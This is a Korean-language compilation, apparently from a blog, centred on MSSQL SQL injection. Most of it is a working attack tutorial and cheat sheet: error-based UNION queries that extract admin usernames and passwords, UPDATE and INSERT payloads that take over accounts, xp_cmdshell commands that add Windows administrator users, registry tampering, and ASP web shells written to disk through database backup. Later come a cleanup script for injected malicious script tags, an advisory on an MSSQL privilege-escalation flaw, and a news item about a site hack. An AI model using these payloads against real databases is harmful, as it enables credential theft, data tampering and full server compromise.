'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

하지만 타켓 IP 는 모든 사람이 공유하고 있는 공유 폴더이어야 한다.

6.0 How to get data from the database using ODBC error message
============================================
우리는 우리가 원하는 대부분의 데이타를 얻기 위해서 MS SQL 서버에 의해서 처리되어지는 에러 메세지로 부터 정보를 사용 할 수 있다. 다음과 같은 문장을 가지고 있는 페이지가 있다고 하고 예를 들자면 :

http://duck/index.asp?id=10

우리는 데이타베이스로 부터 정수 10 을 다른 문자열과 함께 UNION 을 시도할 것이다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

서 버안에서 시스템 테이블 INFORMATION_SCHEMA.TABLES 은 모든 테이블에 관한 정보를 포함하고 있다.
TABLE_NAME 필드는 데이터베이스 안에서 각 테이블의 이름을 분명히 포함하고 있다.
알다 시피 그것은 항상 존제 하기때문에 우리는 그것을 선택했다. 우리의 쿼리는 :

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

이 것은 데이터베이스 안에서 첫번째 테이블을 리턴한다.
우리가 이 문자열 값을 정수 10과 UNION 할때 MS SQL 서버는 문자열(nvarchar)을 정수로 변환을 시도할 것이다.
이것은 우리가 nvarchar을 int 로 전환 할 수 없는 것 때문에 에러를 발생 시킨다.
서버는 다음의 에러 메시지를 출력할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

에러 메시지는 어떤 값이 정수로 변환 되어질수 없다는 것을 알려주게 되므로 우리에게 충분한 가치가 있다.
이경우에 우리는 데이터 베이스에 있는 첫번째 테이블 이름이 "talbe1" 이라는 것을 알게 된다.

다음 테이블 이름을 얻기 위해서 우리는 다음 쿼리를 사용 할 수 있다:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

우리는 LIKE 키워드를 사용하여 데이타를 조사 할 수 있다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

동등한 표시로서, SQL 서버 안에서 '%25login%25' 은 %login% 처럼 보여질 것이다.
이경우에 우리는 "admin_login" 과 일치하는 첫번째 테이블 이름을 얻게 될것이다.

6.1 How to mine all column names of a table?
---------------------------------------------------------------------------
우리는 테이블의 모든 컬럼들의 이름을 알기 위해서 다른 유용한 테이블
INFORMATION_SCHEMA.COLUMNS 을 사용 할 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

이제 첫번째 칼럼 이름을 얻게 되었고 다음 컬럼 이름을 얻기 위해서 NOT IN () 을 사용 할 수 있다 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

이와 같이 계속해서 나아가서 우리는 나머지 칼럼 이름을 획득 했다.
"password", "details". 우리는 이것들을 다음 에러 메시지를 얻었을때 알수가 있다 :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
---------------------------------------------------------------------------
이제 몇개의 중요한 테이블들 과 그것들의 컴럼들을 확인해보자.
우리는 데이타베이스로 부터 우리가 원하는 정보를 획득하기 위해서 똑같은 테크닉을 사용 사용 할 수 있다.

이제, "admin_login" 테이블로 부터 첫번째 login_name 을 얻어보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

이제 우리는 neo 라는 로긴 이름을 가지고 있는 admin 유저가 있다는 것을 알았다.
마지막으로 데이터베이로 부터 neo 의 패스워드를 얻기 위해서 :

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

우리는 ID neo, password m4trix 로 로긴 할 수 가 있을 것이다.

6.3 How to get numeric string value?
---------------------------------------------------------------------------
위에 설명한 테크닉에는 제한 사항이 있다.
만일 우리가 유효한 숫자(0-9 사이에 있는 문자)로 구성된 텍스트를 변환하기를 시도한다면 우리는 어떤한 에러 메시지도 얻을 수 없을 것이다.
ID trinity인 사용자의 패스워드 31173 을 얻기 위한 시도를 가지고 말해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password
FROM admin_login where login_name='trinity'--

우 리는 "Page Not Found" 에러를 얻을 것이다.
정수(이경우 10)와 UNION 하기 전에 패스워드 31173 은 숫자로 변환되어질 것이기 때문이다.
그것은 유효한 UNION 문 이기 때문에 SQL 서버는 ODBC 에러 메시지를 출력하지 않을 것이다.
그래서 우리는 어떠한 숫자 엔트리를 발견해 낼 수가 없다.

이 문제를 해결하기 위해서, 우리는 변환이 확실히 실폐 하로독 하기 위해서 숫자 문자열에 몇개의 알파벳을 덧붙일 수 있다.
이번에는 위에것 대신이 이 쿼리로 시도를 해보자:

http://duck/index.asp?id=10 UNION SELECT TOP 1
convert(int, password%2b'%20morpheus')
FROM admin_login where login_name='trinity'--

우 른는 패스워드에 우리가 원하는 어떤 텍스틀를 덧붙이기 위해서 더하기 기호(+,ASSCII code for '+' = 0x2b)를 사용한다.
우리는 '(space)morpheus' 를 실제 패스워드에 덧붙일 것이다.
그래서 우리가 숫자 문자열 31173 을 가지고 있다고 할 지라도 그것은 '31173 morpheus' 이 될 것이다.
수작업으로 convert() 함수를 호출 함으로서 '31173 morpheus' 을 정수로 변환을 시도해보면 SQL 서버는 EDBC 에러 메시지를 출력 할 것이다:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

이제 ID trinity, 패스워드 31173 로 로긴을 할 수가 있다.

7.0 How to update/insert data into the database?
============================================
우 리가 테이블의 모든 칼럼 이름을 성공적으로 얻게될때 우리는 UPDATE 명령을 사용하거나 테이블안에 새로운 레코드를 삽입하기 위해서 INSERT 명령을 사용 할 수 가 있다.
예를 들자면, neo 의 패스워드를 변경하기 위해서 :

http://duck/index.asp?id=10; UPDATE 'admin_login'
SET 'password' = 'newpas5' WHERE login_name='neo'--

데이터 베이스 안에 새로운 레코드를 삽입하기 위해서 :

http://duck/index.asp?id=10; INSERT INTO
'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

우리는 이제 ID neo2, 패스워드 newpas5 로 로긴 할 수 가 있다.

8.0 How to avoid SQL Injection?
============================================
다음과 같은 경우에 모든 문자열 안에서 싱글 쿼트, 더블 쿼트, 슬래쉬, 백슬래쉬, 세미 콜론, NULL 같은 확장된 문자, 캐리지 리턴, 뉴라인 등과 같은 문자를 필터링 한다면 :
- 사용자로 부터의 입력
- URL 에 있는 패러미터
- 쿠키 안에 있는 값들

숫자 값을 위해서 그것을 SQL 문으로 파싱을 하기전에 그것을 정수로 변환하라.
또는 그것이 정수인지를 확인하기 위해서 ISNUMERIC 를 사용하라.

SQL Server Security tab 안에서 하위 특권 사용자를 사용하여
"Startup and run SQL Server" 를 변환 시켜라.

당신이 사용하지 않는 다음 같은 저장된 프로시저들을 삭제 하라 :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 Where can I get more info?
============================================
최근우리가 발견하고 SQL Injection 을 적용한 최근 작품들 중에 하나는 PacketStrom 을 어떻게 해킹 했는지에관한 Rain Forest Puppy 의 문서이다.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;iface=6

ODBC 에러 메시지들로 부터 정보를 획득하는 방법에 관한 멋진 문서가 여기에 있다.
blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

또한 다양한 SQL 서버상에서 SQL Injection 에 관한 훌륭한 요약집이 여기에 있다.
http://www.owasp.org/asac/input_validation/sql.shtml

SQL Injection 에 관한 Senseport 의 문서 :
http://www.sensepost.com/misc/SQLinsertion.htm

읽어 볼만한 문서들:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

1. 다음과 같은 조건식을 삽입한다.
 ;and 1=1
 ;and 1=2 
 ;and user>0

2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
 ;and (select count(*) from sysobjects)>0 mssql
 ;and (select count(*) from msysobjects)>0 access
 
3. where 조건식을 넣어 본다.
 'and ''=' 
 'and  '%25'='

4. select 구문을 사용한다.
 ;and (Select Count(*) from [테이블명])>0 --
 ;and (select top 1 len(열수) from 테이블명)>0

5. 컬럼명 추출
(1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 
 
(2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0
 
6. 데이터베이스 권한

 ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
 ;and 1=(SELECT IS_MEMBER('db_owner'));-- 

7. 스토어프로시저를 이용한 계정 추가하기  
 ;exec master.dbo.sp_addlogin username;--
 ;exec master.dbo.sp_password null,username,password;--
 ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
 ;exec master.dbo.xp_cmdshell 'net user username password /add';--
 ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
 
8. dir 결과쿼리하기 
 ;create table dirs(paths varchar(100), id int)
 ;insert dirs exec master.dbo.xp_dirtree 'c:' 
 ;and (select top 1 paths from dirs)>0
 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

9. 디렉터리 정보 추출하기 및 웹쉘 실행  
 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
 ;insert temp exec master.dbo.xp_availablemedia;-- 
 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--

10. 확장스토어 프로시저 공격

 xp_regenumvalues 
 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  
 
xp_regread  
 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  
 
xp_regwrite  
 ;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

 xp_regdeletevalue
 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'

10.mssql의 backup용 webshell 생성하기
 use model
 create table cmd(str image);
 insert into cmd(str) values ('<% Dim oScript %>');
 backup database model to disk='c:l.asp';
 
11.버전확인하기
 ;and (select @@version)>0 
 ;and user_name()='dbo'
 ;and (select user_name())>0 
 ;and (select db_name())>0 

12.webshell
 use model 
 create table cmd(str image);
 insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
 backup database model to disk='g:wwwtestl.asp'; 

MSSQL Injection PWNage.pdf

다음은 페이퍼 목차입니다.

|=--------------------------------------------------------------------=|
|=----------------=[  Full MSSQL Injection PWNage  ]=-----------------=|
|=-----------------------=[ 28 January 2009 ]=------------------------=|
|=---------------------=[  By CWH Underground  ]=---------------------=|
|=--------------------------------------------------------------------=|


######
Info
######

Title : Full MSSQL Injection PWNage
Author : ZeQ3uL && JabAv0C
Team    : CWH Underground [www.milw0rm.com/author/1456]
Website : cwh.citec.us / www.citec.us
Date : 2009-01-28


##########
Contents
##########

  [0x00] - Introduction

  [0x01] - Know the Basic of SQL injection

[0x01a] - Introduction to SQL Injection Attack
[0x01b] - How to Test sites that are Vulnerable in SQL Injection
[0x01c] - Bypass Authentication with SQL Injection
[0x01d] - Audit Log Evasion
[0x01e] - (Perl Script) SQL-Google searching vulnerable sites

  [0x02] - MSSQL Normal SQL Injection Attack

[0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
[0x02b] - ODBC Error Message Attack with "CONVERT"
[0x02c] - MSSQL Injection with UNION Attack
[0x02d] - MSSQL Injection in Web Services (SOAP Injection)

  [0x03] - MSSQL Blind SQL Injection Attack

[0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection
[0x03b] - Determine data through Blind SQL Injection
[0x03c] - Exploit Query for get Table name
[0x03d] - Exploit Query for get Column name

  [0x04] - More Dangerous SQL Injection Attack

[0x04a] - Dangerous from Extended Stored Procedures
[0x04b] - Advanced SQL Injection Techniques
[0x04c] - Mass MSSQL Injection Worms

  [0x05] - MSSQL Injection Cheat Sheet

  [0x06] - SQL Injection Countermeasures

  [0x07] - References

  [0x08] - Greetz To

요즘 많은 분들이 MASS SQL Injection 으로 피해를 보고 있는것 같습니다. 필자도 물론 예외는 아니였습니다.
지금에야 '쿠키를 이용한 인젝션공격이였습니다' 라고 이야기를 하지만 얼마전까지만해도 스크립트가 추가된 구문을 볼때마다 필자가 관리하는 서버를 사용하는 분들에게 송구스러운 마음이 참 많았습니다.

예전부터 심심치 않게 SQL Injection 을 이용한 스크립트 삽입공격은 있었습니다.
쿼리스트링에 추가하여서 공격하는 수준이였기때문에 웹나이트(Webknight) 문법으로 전부 막아내는 쿼거(?)도 이루었던 적도 있습니다.

이렇게 자만하다 큰코다친겁니다.  제가 관리하는 몇개의 사이트가 스크립트가 추가되는 사례가 발견되더니 잊을만 하면 한번씩 스크립트가 추가되는 현상을 발견하게 되었고, 쇼핑몰같은 경우는 데이터베이스를 복구할수도 없는 그런 상황까지 겪게 되었습니다.

"목마른 사람이 우물을 판다"고 했던가요..
일단 삽입이 되도록 하는 구문을 분석하여서 이를 바탕으로 스크립트만 삭제하는 구문을 작성하려고 하였습니다. char, nchar, varchar, nvarchar 는 너무 쉽게 변경이 가능했지만 문제는 text, ntext 같은 대용량의 유니코드 형식의 데이터에서 스크립트를 삭제하는 부분이였습니다.

몇몇 다른 분들의 경우 text 타입을 varchar(8000) 으로 변환하고 이를 수정하는 방법을 선택하셨습니다.
이 방법도 좋은 방법입니다. 쿼리만으로 작업을 진행할수도 있고, 일단 SQL 쿼리를 구하기가 쉬웠습니다. ( SQL 쿼리를 공개해주신 분들 감사합니다.)

그래도 문제는 발생하였습니다. 문자열을 신문을 집어 넣은건지 상당히 큰 text 타입의 데이터를 만나버리고 말았던 것이였습니다.
결국 VBScript 를 이용해서 다시 작업을 하도록 변경하였습니다. (사실 SQL 쿼리 수정보다 VBScript가 더 쉽게 생각되었습니다.;)

이래서 탄생한 Replace_string_in_mssql.vbs 입니다.

열기

' ***************************************************************************************
'  디비 변조데이터 복구 스크립트 
'  버 젼    : v1.0                                                                   
' ***************************************************************************************
Option Explicit
'On Error Resume Next

' 삭제할 자바스크립트 구문
' 다중입력이 가능하며, 다중입력시 | 로 입력하시기 바랍니다.
Const strReplace = "<script src=http://ojkqn.cn></script>|<script src=http://wefd4.cn>|" 
Const strDBServerIP = "127.0.0.1"    ' 접속할 데이터베이스 서버 IP
Const strSQLuser = "sa"                ' 접속할 데이터베이스 아이디
Const strSQLpass = "1230"              ' 접속할 데이터베이스 패스워드
Const strSQLBD = "pubs"                 ' 접속할 데이터베이스 이름

Dim CRLF, TAB :TAB  = CHR( 9 ):CRLF = CHR( 13 ) & CHR( 10 )
Dim AdCn,connectionstring,SQL,DBdata,arrDBData, arrDBData2

Dim SQL_Tables, SQL_Tables_Exists_Javascript, ColumnsArrDBdata, ColumnsTotal, TableArrDBdata, TableTotal, SQL_tmp
Dim i, j, db_table, db_column, db_xtype, db_type, db_owner, db_len
Dim TablecolumnCheck, SQL_Tables_Replace_Javascript
Dim KeyName, Key_code, Key_entry, arr_Replacetxt, Replacetxt

arr_Replacetxt = split(strReplace,"|")

SQL_Tables = "select o.name, c.name, c.xtype, type = (select t.name from systypes t where t.name <> 'sysname' and t.xtype=c.xtype ) , owner = user_name(uid) " & _
            " ,Len = (select  case when t.name in (N'nchar', N'nvarchar') then c.length/2 else c.length end from systypes t where t.name <> 'sysname' and t.xtype=c.xtype ) " & _
            " from dbo.syscolumns c " & _
            " Left Join (select name,id,uid from dbo.sysobjects where xtype='U' " & _
            " and (case when (OBJECTPROPERTY(id, N'IsMSShipped')=1) then 1 else OBJECTPROPERTY(id, N'IsSystemTable') end)=0 ) o " & _
            " on c.id=o.id where o.name is not null and c.xtype in (35, 99, 167, 175, 231, 239) " & _
            " order by o.name, c.name "

' 35  -- text
' 99  -- ntext
' 167 -- varchar
' 175 -- char
' 231 -- nvarchar
' 239 -- nchar

connectionstring = "Provider=SQLOLEDB.1;Data Source= "&strDBServerIP&";Initial Catalog="&strSQLBD&";user id = '"&strSQLuser&"';password='"&strSQLpass&"' "


SQL = SQL_Tables
Set AdCn = CreateObject("ADODB.Connection")
AdCn.open = connectionstring
set DBdata = AdCn.Execute(SQL)
IF Not DBdata.Eof then
  ColumnsArrDBdata = DBdata.GetRows()
  ColumnsTotal = UBound(ColumnsArrDBdata, 2)+1
else
  ColumnsTotal = 0
end if
DBdata.Close
Set DBdata = Nothing

wscript.echo "컬럼갯수 : "&ColumnsTotal
If ColumnsTotal>0 then
  For i=1 to ColumnsTotal
      db_table = ColumnsArrDBdata(0,i-1)
      db_column = ColumnsArrDBdata(1,i-1)
      db_xtype = ColumnsArrDBdata(2,i-1)
      db_type = ColumnsArrDBdata(3,i-1)
      db_owner = ColumnsArrDBdata(4,i-1)
      db_len = ColumnsArrDBdata(5,i-1)
      
      SQL = "select count(*) From ["&db_owner&"].["&db_table&"] where CHARINDEX('<script',"&db_column&") > 0 "

      set DBdata = AdCn.Execute(SQL)
      IF Not DBdata.Eof then
          arrDBData = DBdata.GetRows()
          TablecolumnCheck = arrDBData(0,0)
      else
          TablecolumnCheck = 0
      end if
      DBdata.Close
      Set DBdata = Nothing
      
      if TablecolumnCheck > 0 then
        If db_xtype <> 35 and db_xtype <> 99 then
          For each Replacetxt in arr_Replacetxt
            wscript.echo "["&db_owner&"].["&db_table&"] 에서 "&db_column&" 컬럼에 대한 "&Replacetxt&" 삭제중..."
            SQL = "Update ["&db_owner&"].["&db_table&"] Set "&db_column&" = replace("&db_column&",'"&Replacetxt&"','')"
            AdCn.Execute(SQL)
          Next
        Else
          SQL = "select name from syscolumns  where id in (select id from sysobjects where name = '"&db_table&"') "
          SQL = SQL&"and colid in (select sik.colid from sysindexkeys sik join sysobjects so on sik.id = so.id where sik.indid = 1 and so.name = '"&db_table&"')"
          set DBdata = AdCn.Execute(SQL)
          IF Not DBdata.Eof then
            arrDBData2 = DBdata.GetRows()
            KeyName = arrDBData2(0,0)
          else
            KeyName = ""
          end if
          DBdata.Close
          Set DBdata = Nothing

          If Len(KeyName) > 0 then
            SQL = "select "&KeyName&","&db_column&" From ["&db_owner&"].["&db_table&"] "
            set DBdata = AdCn.Execute(SQL)
            IF Not DBdata.Eof then
              TableArrDBdata = DBdata.GetRows()
              TableTotal = UBound(TableArrDBdata, 2)+1
            else
              TableTotal = 0
            end if
            DBdata.Close
            Set DBdata = Nothing

            If TableTotal > 0 then
              for j=1 to TableTotal
                Key_code = TableArrDBdata(0,j-1)
                Key_entry = TableArrDBdata(1,j-1)
                Key_entry = Replace(Key_entry,"'","''")
                For each Replacetxt in arr_Replacetxt
                  Key_entry = Replace(Key_entry,Replacetxt,"")
                Next
                wscript.echo "["&db_owner&"].["&db_table&"] 에서 "&db_column&" 컬럼에 대한 삭제중..."
                SQL = "update ["&db_owner&"].["&db_table&"] Set "&db_column&" = '"&Key_entry&"' where "&KeyName&"="&Key_code
                AdCn.Execute(SQL)
              Next
            End if
          End if
        End if
        
      End if
  next
Else
  wscript.echo "컬럼이 없습니다."
end if
      
AdCn.Close
set AdCn=Nothing

내용은 무척 간단합니다. 컬럼중에 text, ntext, varchar, char, nvarchar, nchar 에 해당하는 것들에 대해서 "<script" 라는 구문이 포함되어 있으면 삭제작업을 하는 것으로 text, ntext 타입에 대해서만 특별히 ado를 이용해서 처리하였습니다.

Replace_string_081117.vbs

지난 12월 9일에 번하드 뭴러(Bernhard Mueller)는 악의를 가진 사용자가 권한을 탈취할 수 있는 취약점을 MS SQL 서버에서 발견했습니다. 

이 취약점은 "sp_replwritetovarbin()"이라는 확장 스토어 프로시저(Extended SP)를 구현하는 과정에서 메모리의 경계를 제대로 처리하지 못해 발생합니다. 이로 인해 교묘하게 조작된 코드를 사용하여 힙에 관련된 버퍼 오버플로 공격을 성공시킬 수 있습니다.

취약점이 있는 제품은 다음과 같습니다.

* MS SQL Server 2000 SP4

* MS SQL Server 2000 IA64 SP4

* MS SQL Server 2005 SP2

* MS SQL Server 2005 IA64 SP2

* MS SQL Server 2005 Express Edition SP2

* MS SQL Server 2005 Express Edition Advanced Services SP2

* MS SQL Server Desktop Engine (MSDE 2000) SP4

* MS SQL Server Desktop Engine (WMSDE)

* Windows Internal Database (WYukon) SP2

취약점이 없는 제품은 다음과 같습니다.

* MS SQL Server 7.0 SP4

* MS SQL Server 2005 SP3

* MS SQL Server 2005 x64 SP3

* MS SQL Server 2005 IA64 SP3

* MS SQL Server 2008

* MS SQL Server 2008 IA64

* MS SQL Server 2008 x64

한 편 이 취약점을 이용하는 공격 코드가 인터넷에 공개되어 있으며 아래 코드는 취약점이 있는지 확인할 수 있는 샘플 코드입니다.

 현재 취약점을 해결하는 패치가 제공되고 있지 않으므로 다음과 같이 sp_replwritetovarbin() 프로시저를 실행하지 않도록 제거하는 것이 좋습니다.

execute dbo.sp_dropextendedproc 'sp_replwritetovarbin'

참고자료: SP를 제거하는 방법

 또한 sp_replwritetovarbin() 프로시저를 액세스하지 못하도록 아래와 같이 명령어를 실행해도 됩니다. 명령어는 관리자 권한에서 실행해야 합니다.

use master

deny execute on _replwritetovarbin to public

참고자료: http://www.microsoft.com/technet/security/advisory/961040.mspx

감사합니다.

최근 웹 공격이 많아지면서 대형 포탈 뿐만 아니라 유명한 웹 사이트들이 종종 해킹당하는 사태가 벌어지고 있습니다. 지난 주에 발생한 어도비(Adobe) 웹사이트의 해킹 소식을 전합니다.

보안 기업으로 유명한 소포스(Sophos) 사는 어도비 웹사이트에 방문한 사람들이 악성 코드에 감염될 수 있었다고 밝혔다.

소포스는 이러한 문제를 확인하고 지속적으로 어도비에 연락을 취하였으며 지난 주 목요일까지 악성 코드가 웹사이트에 그대로 방치되었다고 한다.

웹 사이트에서 비디오 블러거를 위한 팁을 제공하는 'Vlog IT support centre section' 부분에 'Mal/Badsrc-C'라는 악성 코드가 존재했다고 합니다. Mac/Badsrc-C 악성 코드는 SQL 인젝션 공격을 이용하여 여러 컴퓨터에 널리 감염시키는 위험한 코드이며, 인터넷에서 악성 스크립트를 다운로드하여 실행되면 사용자 PC에 스파이웨어가 설치됩니다.

하지만, 아직까지 어도비 사에서는 명확한 답변을 하지 않고 있습니다.